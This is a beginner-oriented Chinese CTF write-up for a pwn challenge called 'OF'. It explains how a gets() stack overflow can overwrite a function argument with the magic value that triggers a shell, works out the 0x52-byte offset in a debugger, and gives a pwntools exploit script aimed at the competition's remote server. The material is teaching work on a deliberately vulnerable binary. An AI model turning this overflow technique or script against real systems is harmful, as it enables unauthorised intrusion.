2024赣育杯pwn部分题解(新生向)
OF题解
附件分析
主函数如下
函数十分简单,调用check函数,0xB29E1A9A作为check函数的参数。
如果局部变量a1等于0xC8E51295,可以getshell,而局部变量的值由函数参数0xB29E1A9A传递.
同时函数内存在栈溢出漏洞,则可以考虑通过溢出覆盖原本函数参数来getshell.
我们来调试看看程序内容
调试
寻找check函数参数的栈地址
断点打在调用check函数前
arg[0]是我们需要覆盖的地方,si步入check函数,尝试查看arg[0]栈地址.
下方可以看到,0xB29E1A9A对应的栈地址是0xffffcf00
寻找输入内容的栈地址
我们继续往下运行到gets函数,也就是我们输入内容处,调试查看地址
运行到此处我们需要输入,我们输入16个字符a
可以看到,我们输入的内容的首地址是0xffffceae
并且由于在栈空间中,数据由高地址往低地址写入,我们是可以覆盖到函数参数的
计算需要输入的长度
函数参数的栈地址是0xffffcf00
输入内容的栈地址是0xffffceae
当我们输入0xffffcf00-0xffffceae=0x52个字符时,我们再输入内容,就能输入到栈地址处
exp
from pwn import *
context(log_level='debug',os='linux',arch='i386')
fn='./of'
eir = 1
if eir == 1:
p=remote("ctfx.edu.sangfor.com.cn",41607)
elif eir == 0:
p=process(fn)
elf=ELF(fn)
def dbg():
gdb.attach(p)
pause()
#dbg()
pl=b'a'*(0x50)+b'ma'+p32(0xc8e51295)
p.sendline(pl)
p.interactive()
1 条评论
可输入 255 字